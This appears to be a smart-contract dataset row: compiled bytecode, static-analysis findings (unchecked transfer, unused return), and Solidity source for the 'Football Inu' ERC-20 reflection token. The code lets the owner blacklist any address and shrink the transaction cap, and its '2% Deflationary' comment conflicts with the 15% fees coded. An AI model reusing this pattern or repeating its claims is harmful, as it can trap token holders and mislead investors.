ffffffffffffffffffffffff1633146110dd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e45520000000000000000000000000000000000000000000000604482015260640161052e565b73ffffffffffffffffffffffffffffffffffffffff91909116600090815260036020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b600a5473ffffffffffffffffffffffffffffffffffffffff1633146111b4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e45520000000000000000000000000000000000000000000000604482015260640161052e565b73ffffffffffffffffffffffffffffffffffffffff91909116600090815260046020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b60006112186012600a611d62565b61122690633b9aca00611e2b565b83111561128f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600f60248201527f414d4f554e545f3e5f535550504c590000000000000000000000000000000000604482015260640161052e565b60008061129d8787876112bc565b50505091509150836112af57816112b1565b805b979650505050505050565b60008060008060006112cf888888611721565b90925090506112e686826112e16116fe565b6117c4565b919a9099509097509195509350915050565b73ffffffffffffffffffffffffffffffffffffffff83811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600081116113d0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f494e56414c49445f414d4f554e54000000000000000000000000000000000000604482015260640161052e565b60008060008060006113e38888886112bc565b94509450945094509450846000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461143b9190611e68565b909155505073ffffffffffffffffffffffffffffffffffffffff871660009081526020819052604081208054869290611475908490611cb0565b909155505073ffffffffffffffffffffffffffffffffffffffff881660009081526005602052604090205460ff1680156114d5575073ffffffffffffffffffffffffffffffffffffffff871660009081526005602052604090205460ff16155b1561151a5773ffffffffffffffffffffffffffffffffffffffff88166000908152600160205260408120805488929061150f908490611e68565b909155506116839050565b73ffffffffffffffffffffffffffffffffffffffff881660009081526005602052604090205460ff16158015611575575073ffffffffffffffffffffffffffffffffffffffff871660009081526005602052604090205460ff165b156115af5773ffffffffffffffffffffffffffffffffffffffff87166000908152600160205260408120805484929061150f908490611cb0565b73ffffffffffffffffffffffffffffffffffffffff881660009081526005602052604090205460ff168015611609575073ffffffffffffffffffffffffffffffffffffffff871660009081526005602052604090205460ff165b156116835773ffffffffffffffffffffffffffffffffffffffff881660009081526001602052604081208054889290611643908490611e68565b909155505073ffffffffffffffffffffffffffffffffffffffff87166000908152600160205260408120805484929061167d908490611cb0565b90915550505b61168d83826117f5565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116ec91815260200190565b60405180910390a35050505050505050565b600080600061170b611820565b909250905061171a8183611cc8565b9250505090565b600080600954431415801561178a575073ffffffffffffffffffffffffffffffffffffffff851660009081526003602052604090205460ff168061178a575073ffffffffffffffffffffffffffffffffffffffff841660009081526004602052604090205460ff165b6117955760006117ae565b6127106117a461138885611e2b565b6117ae9190611cc8565b90506117ba8184611e68565b9150935093915050565b600080806117d28487611e2b565b92506117de8486611e2b565b90506117ea8184611e68565b915093509350939050565b81600760008282546118079190611e68565b9250508190555080600860008282546105a09190611cb0565b60075460006118316012600a611d62565b61183f90633b9aca00611e2b565b905060005b600654811015611a6c57826000806006848154811061188c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff16835282019290925260400190205411806119385750816001600060068481548110611904577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff168352820192909252604001902054115b156119635760075461194c6012600a611d62565b61195a90633b9aca00611e2b565b92509250509091565b600080600683815481106119a0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff1683528201929092526040019020546119dc9084611e68565b92506001600060068381548110611a1c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff168352820192909252604001902054611a589083611e68565b915080611a6481611e7f565b915050611844565b50611a796012600a611d62565b611a8790633b9aca00611e2b565b600754611a949190611cc8565b821015611abe57600754611aaa6012600a611d62565b611ab890633b9aca00611e2b565b90925090505b9091565b803573ffffffffffffffffffffffffffffffffffffffff81168114611ae657600080fd5b919050565b80358015158114611ae657600080fd5b600060208284031215611b0c578081fd5b611b1582611ac2565b9392505050565b60008060408385031215611b2e578081fd5b611b3783611ac2565b9150611b4560208401611ac2565b90509250929050565b600080600060608486031215611b62578081fd5b611b6b84611ac2565b9250611b7960208501611ac2565b9150604084013590509250925092565b60008060008060808587031215611b9e578081fd5b611ba785611ac2565b9350611bb560208601611ac2565b925060408501359150611bca60608601611aeb565b905092959194509250565b60008060408385031215611be7578182fd5b611bf083611ac2565b9150611b4560208401611aeb565b60008060408385031215611c10578182fd5b611c1983611ac2565b946020939093013593505050565b600060208284031215611c38578081fd5b5035919050565b6000602080835283518082850152825b81811015611c6b57858101830151858201604001528201611c4f565b81811115611c7c5783604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b60008219821115611cc357611cc3611eb8565b500190565b600082611cfc577f4e487b710000000000000000000000000000000000000000000000000000000081526012600452602481fd5b500490565b600181815b80851115611d5a57817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04821115611d4057611d40611eb8565b80851615611d4d57918102915b93841c9390800290611d06565b509250929050565b6000611b1560ff841683600082611d7b575060016105ba565b81611d88575060006105ba565b8160018114611d9e5760028114611da857611dc4565b60019150506105ba565b60ff841115611db957611db9611eb8565b50506001821b6105ba565b5060208310610133831016604e8410600b8410161715611de7575081810a6105ba565b611df18383611d01565b807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04821115611e2357611e23611eb8565b029392505050565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611e6357611e63611eb8565b500290565b600082821015611e7a57611e7a611eb8565b500390565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611eb157611eb1611eb8565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fdfea2646970667358221220b0b63ce0c2ddb619603ff21c1307c8523b73ff2406e9ef476685a3449162c40764736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 1,452 |
0xea9cbfc2b1b23036ef6d69d85b6d20d5342aa235 | /**
*Submitted for verification at Etherscan.io on 2021-06-20
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-20
*/
//Football Inu ($fINU)
//Powerful Bot Protect yes
//2% Deflationary yes
//Telegram: https://t.me/footballinuofficial
//CG, CMC listing: Ongoing
//Fair Launch
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FootballInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Football Inu";
string private constant _symbol = "fINU";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(6).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612f04565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a27565b61045e565b6040516101789190612ee9565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a391906130a6565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129d8565b61048d565b6040516101e09190612ee9565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061294a565b610566565b005b34801561021e57600080fd5b50610227610656565b604051610234919061311b565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612aa4565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f919061294a565b610783565b6040516102b191906130a6565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612e1b565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612f04565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a27565b61098d565b60405161035b9190612ee9565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a63565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612af6565b6110d1565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061299c565b61121a565b60405161041891906130a6565b60405180910390f35b60606040518060400160405280600c81526020017f466f6f7462616c6c20496e750000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137df60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fe6565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fe6565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db8565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fe6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f66494e5500000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fe6565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef906133bc565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e26565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fe6565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613066565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d689190612973565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e029190612973565b6040518363ffffffff1660e01b8152600401610e1f929190612e36565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e719190612973565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e88565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612b1f565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550673e733628714200006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e5f565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612acd565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe6565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa6565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061212090919063ffffffff16565b61219b90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f91906130a6565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613046565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f66565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146791906130a6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613026565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f26565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613006565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613086565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600090